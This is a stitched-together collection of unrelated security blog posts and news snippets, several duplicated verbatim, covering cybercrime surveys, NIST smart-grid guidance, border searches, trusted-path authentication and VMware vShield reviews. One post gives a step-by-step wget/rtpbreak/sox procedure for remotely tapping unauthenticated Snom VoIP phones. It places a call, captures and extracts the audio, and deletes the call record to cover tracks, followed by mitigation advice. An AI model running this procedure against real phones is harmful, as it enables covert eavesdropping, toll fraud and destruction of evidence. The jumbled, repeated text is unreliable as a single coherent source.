Just under two-thirds of all Internet users have been hit by some sort of cybercrime, and while most of them are angry about it, a surprisingly large percentage feel guilt too, according to a survey commissioned by Symantec.

The National Institute of Standards and Technology (NIST) issued today its first Guidelines for Smart Grid Cyber Security, which includes high-level security requirements, a framework for assessing risks, an evaluation of privacy issues at personal residences, and additional information for businesses and organizations to use as they craft strategies to protect the modernizing power grid from attacks, malicious code, cascading errors, and other threats.

The National Institute of Standards and Technology (NIST) issued today its first Guidelines for Smart Grid Cyber Security, which includes high-level security requirements, a framework for assessing risks, an evaluation of privacy issues at personal residences, and additional information for businesses and organizations to use as they craft strategies to protect the modernizing power grid from attacks, malicious code, cascading errors, and other threats.

6,671 travelers searched (so far)

Privacy advocates have sued the Obama administration over its practice of seizing laptops, cell phones, and other devices at US borders and copying their contents even when the owner isn't suspected of wrongdoing.…

6,671 travelers searched (so far)

Privacy advocates have sued the Obama administration over its practice of seizing laptops, cell phones, and other devices at US borders and copying their contents even when the owner isn't suspected of wrongdoing.…

I have a bit of history in attacking VoIP phones, specifically VoIP Wifi phones. Way back in 2005-2006 I purchased several VoIP Wifi phones and conducted very basic security analysis to demonstrate a commonality of vulnerabilities, most notably that many of them had a number of open ports and extraneous services.

This research resulted in several CVEs, including some companies that should have known better. I also spoke a few conferences, and you can check out my Shmoocon slides from 2006.

Most importantly of all, my findings of the VXworks debugging port of UDP/17185 was recently deeply expanded upon by none other than HD Moore who released research and a set of tools that is truly awe-inspiring when it comes to attacking VXworks debugging.

For myself, it was humbling to see HD take this to a level that I can only dream of someday attaining.

So, last week, Michael Sutton at Zscalar wrote a blog post about misusing a new feature in HP Printers called WebScan. Essentially, WebScan functionality allows a user to scan a document that is physically on the printer and save the image to the local computer.

HP's WebScan is an excellent example of how a device's features are all too often are leveraged by attackers, and Michael's post inspired me to look at some recent features ripe for abuse in VoIP phones.

One area that I wanted to revisit is attackers able to control a VoIP phone dialing. Back in 2006 I identified a feature in Clipcomm VoiP Wifi phones that would allow an attacker to log into the phone via telnet and place a call from the VoiP Wifi phone to any number. Pretty bad stuff, right?

Looking at some of the newer VoIP phones from Snom, however, and there's a webpage on the Snom's webserver that allows one to enter in a number to dial. A useful feature, so long as your Snom has authentication set on the webserver, otherwise anyone with access to that webpage can make a call. From the Snom user's perspective, this feature will start a call from your Snom on the speakerphone.

So, with this kind of feature, an attacker could search for Snom phones exposed on the Internet, determine if they are using HTTP authentication, and if they are not, could easily connect the the Snom VoIP phone's webserver and punch in the number to dial -- clearly opening up avenues to cause grief such as expensive 900 numbers, prank calls, etc.

Really, this is not a big deal, and is more of a headache than anything else. But what if an attacker could remotely capture on the phone the voice streams from a call that she placed? That ups the ante a bit, and such an attack is possible by abusing features!

Snom VoIP Phone PCAP Trace 

Some Snom VoIP phones have a feature called "PCAP Trace" that allows, via the web interface, the start/stop and download of a PCAP file on the Snom VoIP phone -- the screenshot below shows the actual page on the VoIP phone, a Snom 360 in this case.

The Snom PCAP Trace feature does have limitations in that it the PCAP data is stored in a circular buffer because of memory limitations, and that enabling PCAP capture can impact the phone's performance (no surprise here). Still, it is a scary feature that if not secured creates an attack vector where a remote attacker can literally tap your phone.

Remote Tapping Your Snom VoIP Phone

To start/stop a PCAP on the Snom VoIP phone, one just clicks on the 'Start' or 'Stop' buttons on the phone webpage. After the capture is complete, an attacker can then download the PCAP trace and extract the audio using Wireshark or the amazing command-line RTPbreak by Michele Dallachiesa.

So, combining the web page place call feature with the PCAP trace feature, an attacker can make a Snom VoIP phone call any number and then the attacker can capture the call remotely on the Snom VoIP phone.

For the final touch, an attacker can also delete the call record of the last call made, thereby wiping the apparent record of the call, at least on the Snom VoIP phone itself. Scary? You betcha. The following is a walk-through of the seven steps -- you can code this up for yourself or download my handy-dandy snom_call_tap.sh script -- please do be ethical and responsible with this script.

Poor Man's NSA -- Step-by-Step

Step 1: Start the tap on the Snom Web interface wget --post-data='start_pcap=Start' $1/pcap.htm -O logz_$1/start_pcap.html

Step 2: Place the call to the target through the Snom Web Interface wget --post-data='NUMBER='$2'&DIAL=Dial&active_line=1' $1 -O logz_$1/place_call.html

Step 3: Stop the tap on the Snom Web interface wget --post-data='stop_pcap=Stop' $1/pcap.htm -O logz_$1/stop_pcap.html

Step 4: Pull the PCAP from the Snom Web Interface wget http://$1/trace.pcap -O logz_$1/trace_$1.pcap

Step 5: Run RTPbreak to extract the RTP stream from the PCAP rtpbreak -P2 -t100 -T100 -d logz_$1 -r logz_$1/trace_$1.pcap

Step 6: Run SOX to marry the extracted audio into single WAV file sox -r8000 -c1 -t ul logz_$1/rtp.0.0.raw -t wav logz_$1/0.wav

Step 7: Delete the last call record to cover tracks wget http://$1/adr.htm?dialeddel=1 -O logz_$1/del_call_log.htm

So, there you have it. What makes this kind of feature especially problematic are two things. First, known vulnerabilities in some Snom phones allows an attacker to bypass authentication.

Second, Shodan, which I've written about before here and here, makes it easy for attackers to locate vulnerable Snom phones. I leave following-up on these aspects an exercise for the reader.

Mitigation

Don't like the possibility of some miscreant controlling your Snom VoIP phone, making calls on your behalf and tapping your calls? I expect that you don't. Here are some humble suggestions to help you to mitigate your risk.

Avoid putting VoIP phones on public IP if at all possible Use latest code for VoIP phones that patches known vulnerabilities Enable authentication on the VoIP phone's Web interface and use a strong password Send logs from phone to another server and review for abuse Train phone users to recognize their VoIP phone is compromised (slow running, makes calls by itself, etc.).

Demand from vendors firmware images that do not have such dangerous functionality -- or at least have more authentication to use this kind of "feature" Support alternatives like the Open Snom Project.

In reading a recent article published at PRWire I am reminded of an article I read in 2002 that demonstrated how the dot com bust would have significant implications in about 4-8 years.

The premise was that with no Americans actively seeking college education in information systems, there would be a significant gap in our indigionous talent pool.

While these exercises demonstrated in the above article are great, it is important to note that the NSA and DHS have a jointly funded what is essentially an R.O.T.C. program.

The problem exists where the graduates are pretty much all farmed out to DoD and in limited instanced DHS. So what about CIP in the private sector? Not just power plants but also state government and first responder communication infrastructures?

These organizations still go insufficiently protected by technology and even if they have the right tech, who do they have to adequately handle the operational and managerial aspects of security?

A question I have for the group is this: "IF" a scenario existed whereby you (A CIP) were a US Citizen, cleared, certified, and possess solid credentials and can be hired for $50-65K a year, would that be worth it for the same CIP organization to subsudize a government kitty-pot for say $15K a year?

Think about what you get on the backend and for what investment. I am eager to learn more from the audience the thought on such a premise.

Thanks,

Carter Schoenberg, CISSP

 

One-click vuln 'ridiculously easy to attack'

Twitter has been bitten by a hard-to-kill web-application bug that's being actively exploited to steal users' authentication credentials, a security expert said Tuesday.…

In my previous blog on Malware-resilient Software-as-a-Service Strong Authentication the issue of trust was raised. The current blog quotes publication named  Extending the Trusted Path in Client-Server Interaction by Hanno Langweg and Tommy Kristiansen.

Interacting with the local human user is the weak point in client-server communications. While machines can employ crypto-graphical mechanisms to ensure authenticity, integrity, and confidentiality of communication, humans are not capable of this. They rely on their local computer to present data and transmit their input to a server reliably. 

Today’s operating systems provide protection against unauthorized modification of operating system components and offer mechanisms like discretionary access control and process separation to users and processes. Often, all processes of the same user operate with the same privileges. 

Malicious software (malware) can exploit this fact to read input destined for other processes (e.g. a key-logger) or modify the output displayed to the user (e.g. local phishing attack).A server application needs a trusted path to the user at a network node.

This concept is not new and exists in operating systems. The secure attention sequence Ctrl+Alt+Del in MicrosoftWindows is an example of how the user can invoke a trusted path to the operating system to log on.

Output of a trusted path cannot be manipulated by other processes and input cannot be read. The process using a trusted path can be sure that input and output are shared only with the user.

Trusted Path definition: A mechanism by which a person at a terminal can communicate directly with the Trusted Computing Base. This mechanism can only be activated by the person or the Trusted Computing Base and cannot be imitated by untrusted software.

In the Microsoft Windows operating system, applications typically receive information about user actions by messages. Since these can be sent by malicious programsas well, they are a convenient attack vector. It is a vulnerability by design – Windows treats all processes equally that run on the same desktop.

If one needs an undisturbed interface, a separate desktop attached to the interactive window station should be assigned.  However, managing separate desktops can be cumbersome for software developers.

So most of today’s software that interacts with a local user runs in a single desktop shared by benign and malign programs. A number of applications today are structured after the client-server pattern: internet banking, contract signing, e.g. in e-government, or online voting.

Here, the main application is run on highly protected servers. Users connect to the server from their local machine. The machine acts as a smart terminal, collecting user input, transmitting it to the server, receiving server data and displaying server output.

The local user initiates and completes transactions with the server application. The user interacts with a local application via the local user interface. Some problems immediately arise:

1. How do user and application know which server they are talking to?

2. How does the server know which application it is talking to?

3. How does the user know which application input is directed to?

4. How does the user know which application produces the output?

5. How does the application know that user received the output?

6. How does the application know where input comes from?

The first two problems can be solved by using a cryptographic protocol that offers secure authentication of the communicating parties and integrity of the communication, e.g. SSL.

The strength of the cryptographic algorithm relies on access of the adversary to encrypted data and on it being computationally infeasible to decrypt the data or forge a digital signature.

The remaining four questions demand a trusted path between the local application and the user. The local user interface is the weak link in the interaction of the user with the server application.

An adversary is much more likely to attack here than spending resources on breaking a cryptographic algorithm – breaking cryptography is typically either a formidable mathematical challenge or requires a large amount of computing resources.

Attacks on the server are another option. However, a server is usually easier to protect than a large number of clients.

It may be possible to distinguish users and untrustworthy programs by observing their input behavior…

Our approach:

Our approach to finding trusted path does not rely on particular PC architectural strengths or weaknesses but rather on basic limitation on malware.

Limitation 1: Physically speaking  to the PC microphone is impossible for any  program residing on the  same PC.

Therefore client authentication software, requiring the user to actually speak to the PC microphone will be able to establish a trusted path to the authentication server.

On the other hand malware residing on the same computer will not be able to complete the authentication, even though it collected all necessary digital information, through key-loggers, etc…

Fig.1 : Malware un-capable to speak to PC microphone.

Limitation 2: Manipulating displayed data by one program is detectable by another program.

Protecting integrity of the information displayed to the user from being manipulated by malware is another issue. In the case malware does not care much to attack authentication mechanism, all it cares about is manipulating display.

If all processes share the same display, then it is possible to detect the discrepancy between the data presented to the user for his/her confirmation and the data being actually digitally signed.

Here again we are taking the physical path – malware can manipulate display, but this manipulation can be detected.

Fig.2 Malware is capable to manipulate display, but un-capable to steal transaction.

The kiosk mode for Windows will only remain available for downloading until the end of this year. In June 2011, Microsoft will largely discontinue support

If you're a typical wired American, you've got a bunch of tech tools you like and a bunch more you covet. You have a cell phone that can easily text. You've got a laptop configured just the way you want it. Maybe you have a Kindle for reading, or an iPad. And when the next new thing comes along, some...

After my initial post yesterday (How To Wield the New vShield (Edge, App & Endpoint) remarking on the general sessions I sat through on vShield, I thought I’d add some additional color given my hands-on experience in the labs today.

I will reserve more extensive technical analysis of vShield Edge and App (I didn’t get to play with endpoint as there is not a lab for that) once I spend some additional quality-time with the products as they emerge.

Because people always desire for me to pop out of the cake quickly, here you go:

You should walk away from this post understanding that I think the approach holds promise within the scope of what VMware is trying to deliver. I think it can and will offer customers choice and flexibility in their security architecture and I think it addresses some serious segmentation, security and compliance gaps. It is a dramatically impactful set of solutions that is disruptive to the security and networking ecosystem. It should drive some interesting change. The proof, as they say, will be in the vPudding.

Let me first say that from VMware’s perspective I think vShield “2.0″ (which logically represents many technologies and adjusted roadmaps both old and new) is clearly an important and integral part of both vSphere and vCloud Director’s future implementation strategies. It’s clear that VMware took a good, hard look at their security solution strategy and made some important and strategically-differentiated investments in this regard.

All things told, I think it’s a very good strategy for them and ultimately their customers. However, there will be some very interesting side-effects from these new features.

vShield Edge is as disruptive to the networking space (it provides L3+ networking, VPN, DHCP and NAT capabilities at the vDC edge) as it is to the security arena. When coupled with vShield App (and ultimately endpoint) you can expect VMware’s aggressive activity in retooling their offers here to cause further hastened organic development, investment, and consolidation via M&A in the security space as other vendors seek to play and complement the reabsorption of critical security capabilities back into the platform itself.

Now all of the goodness that this renewed security strategy brings also has some warts. I’ll get into some of them as I gain more hands-on experience and get some questions answered, but here’s the Cliff Note version with THREE really important points:

1. The vShield suite is the more refined/retooled/repaired approach toward what VMware promised in delivery three years ago when I wrote about it in 2007 (Opening VMM/HyperVisors to Third Parties via API’s – Goodness or the Apocalypse?) and later in 2008 (VMware’s VMsafe: The Good, the Bad, and the Bubbly…“) and from 2009, lest we forget The Cart Before the Virtual Horse: VMware’s vShield/Zones vs. VMsafe API’s…
   _
   Specifically, as the virtualization platform has matured, so has the Company’s realization that security is something they are going to have to take seriously and productize themselves as depending upon an ecosystem wasn’t working — mostly because doing so meant that the ecosystem had to uproot entire product roadmaps to deliver solutions and it was a game of “supply vs. demand chicken.”
   _
   However, much of this new capability isn’t fully baked yet, especially from the perspective of integration and usability and even feature set capabilities such as IPv6 support. Endpoint is basically the more streamlined application of APIs and libraries for anti-malware offloading so as to relieve a third party ISV from having to write fastpath drivers that sit in the kernel/VMM and disrupt their roadmaps. vShield App is the Zones solution polished to provide inter-VM firewalling capabilities.
   _
   Edge is really the new piece here and represents a new function to represent vDC perimeterized security capabilities.Many of these features are billed — quite openly — as relieving a customer from needing to use/deploy physical networking or security products. In fact, in some cases even virtual networking products such as the Cisco Nexus 1000v are not usable/supportable. This is and example of a reasonably closed, software-driven world of Cloud where the underlying infrastructure below the hypervisor doesn’t matter…until it does.
   _
2. vShield Edge and App are, in the way they are currently configured and managed, very complex and unwieldy and the performance, resiliency and scale described in some of the sessions is yet unproven and in some cases represents serious architectural deficiencies at first blush. There are some nasty single points of failure in the engineering (as described) and it’s unclear how many reference architectures for large enterprise and service provider scale Cloud use have really been thought through given some of these issues.
   _
   As an example, only being able to instantiate a single (but required) vShield App virtual appliance per ESX host brings into focus serious scale, security architecture and resilience issues. Being able to deploy numerous Edge appliances brings into focus manageability and policy sprawl concerns.There are so many knobs and levers leveraged across the stack that it’s going to be very difficult in large environments to reconcile policy spread over the three (I only interacted with two) components and that says nothing about then integrating/interoperating with third party vSwitches, physical switches, virtual and physical security appliances. If you think it was challenging before, you ain’t seen nothin’ yet.
   _
3. The current deployment methodology reignites the battle that started to rage when security teams lost visibility into the security and networking layers and the virtual administrators controlled the infrastructure from the pNIC up. This takes the gap-filler virtual security solutions from small third parties such as Altor which played nicely with vCenter but allowed the security teams to manage policy and blows that model up. Now, security enforcement is a commodity feature delivered via the virtualization platform but requires too complex a set of knowledge and expertise of the underlying virtualization platform to be rendered effective by role-driven security teams.

While I’ll cover items #1 and #2 in a follow-on post, here’s what VMware can do in the short term to remedy what I think is a huges issue going forward with item #3, usability and management.

Specifically, in the same way vCloud Director sits above vCenter and abstracts away much of the “unnecessary internals” to present a simplified service catalog of resources/services to a consumer, VMware needs to provide a dedicated security administrator’s “portal” or management plane which unites the creation, management and deployment of policy from a SECURITY perspective of the various disparate functions offered by vShield App, Edge and Endpoint. [ED: This looks as though this might be what vShield Manager will address. There were no labs covering this and no session I saw gave any details on this offering (UI or API)]

If you expect a security administrator to have the in-depth knowledge of how to administer the entire (complex) virtualization platform in order to manage security, this model will break and cause tremendous friction. A security administrator shouldn’t have access to vCenter directly or even the vCloud Director interfaces.

Since much of the capability for automation and configuration is made available via API, the notion of building a purposed security interface to do so shouldn’t be that big of a deal. Some people might say that VMware should focus on building API capabilities and allow the ecosystem to fill the void with solutions that take advantage of the interfaces. The problem is that this strategy has not produced solutions that have enjoyed traction today and it’s quite clear that VMware is interested in controlling their own destiny in terms of Edge and App while allowing the rest of the world to play with Endpoint.

I’m sure I’m missing things and that given the exposure I’ve had (without any in-depth briefings) there may be material issues associated with where the products are given their early status, but I think it important to get these thoughts out of my head so I can chart their accuracy and it gives me a good reference point to direct the product managers to when they want to scalp me for heresy.

There’s an enormous amount of detail that I want to/can get into. The last time I did that it ended up in a 150 slide presentation I delivered at Black Hat…

Allow me to reiterate what I said in the beginning:

You should walk away from this post understanding that I think the approach holds promised within the scope of what VMware is trying to deliver. I think it can and will offer customers choice and flexibility in their security architecture and I think it addresses some serious segmentation, security and compliance gaps. It is a dramatically impactful set of solutions that is disruptive to the security and networking ecosystem. It should drive some interesting change. The proof, as they say, will be in the vPudding.

…and we all love vPudding.

/Hoff

Related articles by Zemanta

• How To Wield the New vShield (Edge, App & Endpoint) (rationalsurvivability.com)
• VMWare launches six new vCloud products (zdnet.com)
• VMworld: New cloud security emphasis from VMware (v3.co.uk)
• VMware acquires Integrien, TriCipher for IT-as-a-Service Era (zdnet.com)
• Trend Micro Announces Trend Micro(TM) Deep Security 7.5: New Agentless Anti-Malware Module for VMware Environments Provides Unprecedented Security, Manageability and Performance for Dynamic Datacenters (newswire.ca)

Image via CrunchBase

Today at VMworld I spent my day in and out of sessions focused on the security of virtualized and cloud environments.

Many of these security sessions hinged on the release of VMware‘s new and improved suite of vShield product offerings which can be simply summarized by a deceptively simple set of descriptions:

• vShield Edge – Think perimeter firewalling for the virtual datacenter (L3 and above)
• vShield App – Think internal segmentation and zoning (L2)
• vShield Endpoint – Anti-malware service offload

The promised capabilities of these solutions offer quite a well-rounded set of capabilities from a network and security perspective but there are many interesting things to consider as one looks at the melding of the VMsafe API, vShield Zones and the nepotistic relationship enjoyed between the vCloud (nee’ VMware vCloud Director) and vSphere platforms.

There are a series of capabilities emerging which seek to solve many of the constraints associated with multi-tenancy and scale challenges of heavily virtualized enterprise and service provider virtual data center environments.  However, many of the issues associated with those I raised in the Four Horsemen of the Virtualization Security Apocalypse still stand (performance, resilience/scale, management and cost) — especially since many of these features are delivered in the form of a virtual appliance.

Many of the issues I raise above (and asked again today in session) don’t have satisfactory answers which just shows you how immature we still are in our solution portfolios.

I’ll be diving deeper into each of the components as the week proceeds (and more details around vCloud Director are made available,) but one thing is certain — there’s a very interesting amplification of the existing tug-of-war  between the security capabilities/functionality provided by the virtualization/cloud platform providers and the network/security ecosystem trying to find relevance and alignment with them.

There is going to be a wringing out of the last few smaller virtualization/Cloud security players who have not yet been consolidated via M&A or attrition (Altor Networks, Catbird, HyTrust, Reflex, etc) as the three technologies above either further highlight an identified gap or demonstrate irrelevance in the face of capabilities “built-in” (even if you have to pay for them) by VMware themselves.

Further, the uneasy tension between  the classical physical networking vendors and the virtualization/cloud platform providers is going to come to a boil, especially as it comes to configuration management, compliance, and reporting as the differentiators between simple integration at the API level of control and data plane capabilities and things like virtual firewalling (and AV, and overlay VPNs and policy zoning) begins to commoditize.

As I’ve mentioned before, it’s not where the network *is* in a virtualized environment, it’s where it *isn’t* — the definition of where the network starts and stops is getting more and more abstracted.   This in turn drives the same conversation as it relates to security.  How we’re going to define, provision, orchestrate, and govern these virtual data centers concerns me greatly as there are so many touchpoints.

Hopefully this starts to get a little more clear as more and more of the infrastructure (virtual and physical) become manageable via API such that ultimately you won’t care WHAT tool is used to manage networking/security or even HOW other than the fact that policy can be defined consistently and implemented/instantiated via API across all levels transparently, regardless of what’s powering the moving parts.

This goes back to the discussions (video) I had with Simon Crosby on who should own security in virtualized environments and why (blog).

Now all this near term confusion and mess isn’t necessarily a bad thing because it’s going to force further investment, innovation and focus on problem solving that’s simply been stalled in the absence of both technology readiness, customer appetite and compliance alignment.

More later this week. [Ed: You can find the follow-on to this post here "VMware's (New) vShield: The (Almost) Bottom Line]

/Hoff

Related articles by Zemanta

• HyTrust Cloud Control Unveiled to Enable Accelerated Cloud Adoption (eon.businesswire.com)
• Catbird and HyTrust Team to Provide End-to-End Protection and Compliance for Virtual Infrastructure (eon.businesswire.com)
• The Classical DMZ Design Pattern: How To Kill Security In the Cloud (rationalsurvivability.com)
• The Security Hamster Sine Wave Of Pain: Public Cloud & The Return To Host-Based Protection… (rationalsurvivability.com)
• CLOUDINOMICON: Idempotent Infrastructure, Survivable Systems & Bringing Sexy Back to Information Centricity (rationalsurvivability.com)
• The Hypervisor Platform Shuffle: Pushing The Networking & Security Envelope (rationalsurvivability.com)
• Altor V4 – security in virtualized environments and the cloud (zdnet.com)